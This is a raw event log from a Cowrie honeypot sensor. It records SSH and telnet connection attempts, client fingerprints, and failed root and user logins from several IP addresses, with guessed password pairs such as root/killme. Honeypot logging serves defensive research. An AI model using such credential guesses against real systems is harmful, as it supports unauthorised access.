{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:d6:b4:9e:95:e6:68:14:3e:b0:53:07:37:7e:1f:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIODDgOKduYBK2YmIcuwQI6Ht2/o65QmiM/Y+MILDL2qp","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.506794Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:48:27:82:87:2e:d7:ab:73:dd:57:c0:3f:ad:01:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm5p7+nuPccAm4gUuD3qfSc8hEKpZqUI4IASG1qtYk0oJAZxYLq7VS2ueDbBOVNHFyoInH7OhiGHBR/i/U+D4tqO2FxAumTJ952bIy9IXit+K/HTrgewfXYzCL2uhBxzkCRYcu+bk0kwmAG06olSlMQJIcWJ2a6kh28ZlVevC97+nh1RqO3svqxY5zQ9bCz0xZkjULKkS1+n6nmJmocnTjuLKUkursmsAI4IwoH7StyiqimZpEAnWEjkFjcq7H3FGdfJXOulQurpeRbzXWhnX8gX+St3ZGCxkko1ARZAXOuioiDGtwHlak4/nelkgpkdrHHC24DxlefwQsEHB0OCSHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:48:27:82:87:2e:d7:ab:73:dd:57:c0:3f:ad:01:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.529185Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:48:27:82:87:2e:d7:ab:73:dd:57:c0:3f:ad:01:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm5p7+nuPccAm4gUuD3qfSc8hEKpZqUI4IASG1qtYk0oJAZxYLq7VS2ueDbBOVNHFyoInH7OhiGHBR/i/U+D4tqO2FxAumTJ952bIy9IXit+K/HTrgewfXYzCL2uhBxzkCRYcu+bk0kwmAG06olSlMQJIcWJ2a6kh28ZlVevC97+nh1RqO3svqxY5zQ9bCz0xZkjULKkS1+n6nmJmocnTjuLKUkursmsAI4IwoH7StyiqimZpEAnWEjkFjcq7H3FGdfJXOulQurpeRbzXWhnX8gX+St3ZGCxkko1ARZAXOuioiDGtwHlak4/nelkgpkdrHHC24DxlefwQsEHB0OCSHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.533227Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:32:c0:35:28:f5:99:04:fa:23:18:ca:89:8d:6f:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KZxlzDfHpZBtLnD4+0Rl9bV3H4b7z7zy6K4mFR8qzRQabj4uH1ySUqGy07bNjkbtRRernsHx7Syf02QvHML6hfjaF3ACYs0xwfKVguLuQg4tgXz2qg0lhfn7tLnykbE9RClMv0386zwC9aJjPDjJRGWyalxdtpUyHL8nkxEhzM6QWvWvbRvdlDTpOfK1zW169t2whPQ3tMLOqbEVxzyWorA/1S3nwZ8ptrDK9K+9UKVjZsleGR2VF/x7+9oUFSh8nqohjiI9woXhEMlP3dt7Xyy7qsQdbcUHI+vGd9bPg/kA+9jHGncHQzlqQ3xoet6wAubJ/LMun7NwRJ2cT6hhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:32:c0:35:28:f5:99:04:fa:23:18:ca:89:8d:6f:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.555096Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:32:c0:35:28:f5:99:04:fa:23:18:ca:89:8d:6f:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KZxlzDfHpZBtLnD4+0Rl9bV3H4b7z7zy6K4mFR8qzRQabj4uH1ySUqGy07bNjkbtRRernsHx7Syf02QvHML6hfjaF3ACYs0xwfKVguLuQg4tgXz2qg0lhfn7tLnykbE9RClMv0386zwC9aJjPDjJRGWyalxdtpUyHL8nkxEhzM6QWvWvbRvdlDTpOfK1zW169t2whPQ3tMLOqbEVxzyWorA/1S3nwZ8ptrDK9K+9UKVjZsleGR2VF/x7+9oUFSh8nqohjiI9woXhEMlP3dt7Xyy7qsQdbcUHI+vGd9bPg/kA+9jHGncHQzlqQ3xoet6wAubJ/LMun7NwRJ2cT6hhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.560378Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:8a:70:a3:c7:e7:de:22:53:50:d1:e0:75:d3:54:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuCPTxvLDG0Jk6Ro1eyXDSj4jN0Z19aa1RGSUNPdvPSUVSk6gN+AYhOs3DBaJqlSpUy/YReYAfC56/cs4Ju9XwqydT7QE1s9g7fxwLu0lw/gOcJg9ubL3YV6jXtRenUY9SoEi3fWhVVlV6KjgqV2ZbcIVYtDwsU4+C84WQkic0iFhkYBS5vUlOMQCTlraZ40nNBufjlbUjX1Yfs3EIM7uq/HgOvV8zTogu60jyQ+LAo5HKB8TR9umO2qB2f61f0il/dzhC5pQUIefQG7GJAT9MxnqI3mvlVhBUZs8miSo+QJgQBOZIkZ+EAke2SLLIyojRMiFkZGGCxDQWsL+RxfRH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:8a:70:a3:c7:e7:de:22:53:50:d1:e0:75:d3:54:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.595762Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:8a:70:a3:c7:e7:de:22:53:50:d1:e0:75:d3:54:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuCPTxvLDG0Jk6Ro1eyXDSj4jN0Z19aa1RGSUNPdvPSUVSk6gN+AYhOs3DBaJqlSpUy/YReYAfC56/cs4Ju9XwqydT7QE1s9g7fxwLu0lw/gOcJg9ubL3YV6jXtRenUY9SoEi3fWhVVlV6KjgqV2ZbcIVYtDwsU4+C84WQkic0iFhkYBS5vUlOMQCTlraZ40nNBufjlbUjX1Yfs3EIM7uq/HgOvV8zTogu60jyQ+LAo5HKB8TR9umO2qB2f61f0il/dzhC5pQUIefQG7GJAT9MxnqI3mvlVhBUZs8miSo+QJgQBOZIkZ+EAke2SLLIyojRMiFkZGGCxDQWsL+RxfRH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.599814Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:ed:73:c0:85:42:ea:a5:71:b5:18:48:dd:d4:c1:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA15mJJqYZpPh5W+z/SN2jsHExc7J57Q5fsGXOtfM6eLy+0bh6GHo/ZGvVkGM6IOx7JPp9xIVdwSj7smRPywOod1SRcaMzJm9HLUj4gILBJkzgkkyVi7jcMo0tlVSVmkhscdJxjLPE4U8Fs3u0L/M4OMl0EPu/bPG2U17nVaD5EaR8acZCeLIM5HnOENFElM4tM/R54aiqf7D7EHtvGEvIWFv9Rvvw8yb0QLTW0hGDXh0AFKVvi2Ef16lbVLr2gdfkYy4ipi77hU++IUa5sxKoscalNkWs4wCEh6zQrRt9D18WNFmthj6caskryMyS1YvtIjsX3NS6Xzzmyx99fs49dQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:ed:73:c0:85:42:ea:a5:71:b5:18:48:dd:d4:c1:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.621671Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:ed:73:c0:85:42:ea:a5:71:b5:18:48:dd:d4:c1:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA15mJJqYZpPh5W+z/SN2jsHExc7J57Q5fsGXOtfM6eLy+0bh6GHo/ZGvVkGM6IOx7JPp9xIVdwSj7smRPywOod1SRcaMzJm9HLUj4gILBJkzgkkyVi7jcMo0tlVSVmkhscdJxjLPE4U8Fs3u0L/M4OMl0EPu/bPG2U17nVaD5EaR8acZCeLIM5HnOENFElM4tM/R54aiqf7D7EHtvGEvIWFv9Rvvw8yb0QLTW0hGDXh0AFKVvi2Ef16lbVLr2gdfkYy4ipi77hU++IUa5sxKoscalNkWs4wCEh6zQrRt9D18WNFmthj6caskryMyS1YvtIjsX3NS6Xzzmyx99fs49dQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.625846Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:30.652296Z","src_ip":"148.113.221.241","session":"911a1c18b91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.766308546066284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:32.910856Z","src_ip":"192.119.13.58","session":"4410e1769f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46460,"dst_ip":"10.17.0.5","dst_port":23,"session":"04fd5cf4fad4","protocol":"telnet","message":"New connection: 192.119.13.58:46460 (10.17.0.5:23) [session: 04fd5cf4fad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:34.663733Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59170,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f184a84c21","protocol":"telnet","message":"New connection: 192.119.13.58:59170 (10.17.0.5:23) [session: 42f184a84c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:37.896317Z"}
{"eventid":"cowrie.session.closed","duration":41.3667778968811,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:39.959895Z","src_ip":"192.119.13.58","session":"9bf7c0a15aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.07687568664551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:41.386531Z","src_ip":"192.119.13.58","session":"448c5dd8a198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47112,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cdbe6ef03db","protocol":"telnet","message":"New connection: 192.119.13.58:47112 (10.17.0.5:23) [session: 1cdbe6ef03db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:41.774642Z"}
{"eventid":"cowrie.session.closed","duration":52.90696597099304,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:42.447129Z","src_ip":"192.119.13.58","session":"04b3d86abc89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91493558883667,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:43.723074Z","src_ip":"192.119.13.58","session":"40f72a77290c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba079c11a926","protocol":"telnet","message":"New connection: 192.119.13.58:56598 (10.17.0.5:23) [session: ba079c11a926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:44.093395Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbf3229da19","protocol":"telnet","message":"New connection: 192.119.13.58:55380 (10.17.0.5:23) [session: 5dbf3229da19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:50.867015Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e98634b4952","protocol":"telnet","message":"New connection: 192.119.13.58:37162 (10.17.0.5:23) [session: 2e98634b4952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:53.372370Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33148,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2e745299ea","protocol":"telnet","message":"New connection: 192.119.13.58:33148 (10.17.0.5:23) [session: ac2e745299ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:59.335585Z"}
{"eventid":"cowrie.session.closed","duration":31.703911542892456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:01.935138Z","src_ip":"192.119.13.58","session":"454fe342898e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"455587db6f0f","protocol":"ssh","message":"New connection: 43.135.129.144:44222 (159.203.135.109:22) [session: 455587db6f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:04.359817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:04.369197Z","src_ip":"43.135.129.144","session":"455587db6f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:04.441805Z","src_ip":"43.135.129.144","session":"455587db6f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killme","message":"login attempt [root/killme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:04.755694Z","src_ip":"43.135.129.144","session":"455587db6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:05.831535Z","src_ip":"43.135.129.144","session":"455587db6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":57790,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c9899596ba","protocol":"ssh","message":"New connection: 43.153.104.156:57790 (10.17.0.5:22) [session: 42c9899596ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:06.145034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:06.150110Z","src_ip":"43.153.104.156","session":"42c9899596ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59236,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ecce7c31a2","protocol":"telnet","message":"New connection: 192.119.13.58:59236 (10.17.0.5:23) [session: 18ecce7c31a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:06.206783Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:06.221246Z","src_ip":"43.153.104.156","session":"42c9899596ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tim","password":"tim","message":"login attempt [tim/tim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:06.528574Z","src_ip":"43.153.104.156","session":"42c9899596ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:07.620006Z","src_ip":"43.153.104.156","session":"42c9899596ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.0989875793457,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:10.951504Z","src_ip":"192.119.13.58","session":"4a4c153deda3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be73d9dfa57","protocol":"ssh","message":"New connection: 147.45.199.80:37882 (159.203.135.109:22) [session: 0be73d9dfa57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:12.256588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:12.263175Z","src_ip":"147.45.199.80","session":"0be73d9dfa57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:12.367610Z","src_ip":"147.45.199.80","session":"0be73d9dfa57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tamerlan","message":"login attempt [root/tamerlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:12.667674Z","src_ip":"147.45.199.80","session":"0be73d9dfa57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:13.774005Z","src_ip":"147.45.199.80","session":"0be73d9dfa57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43444,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2711f51fb1","protocol":"ssh","message":"New connection: 80.94.92.184:43444 (10.17.0.5:22) [session: 0b2711f51fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:14.008091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:14.185271Z","src_ip":"80.94.92.184","session":"0b2711f51fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:14.190715Z","src_ip":"80.94.92.184","session":"0b2711f51fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:15.906835Z","src_ip":"80.94.92.184","session":"0b2711f51fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.73625302314758,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:15:16.399853Z","src_ip":"192.119.13.58","session":"04fd5cf4fad4","protocol":"telnet"}
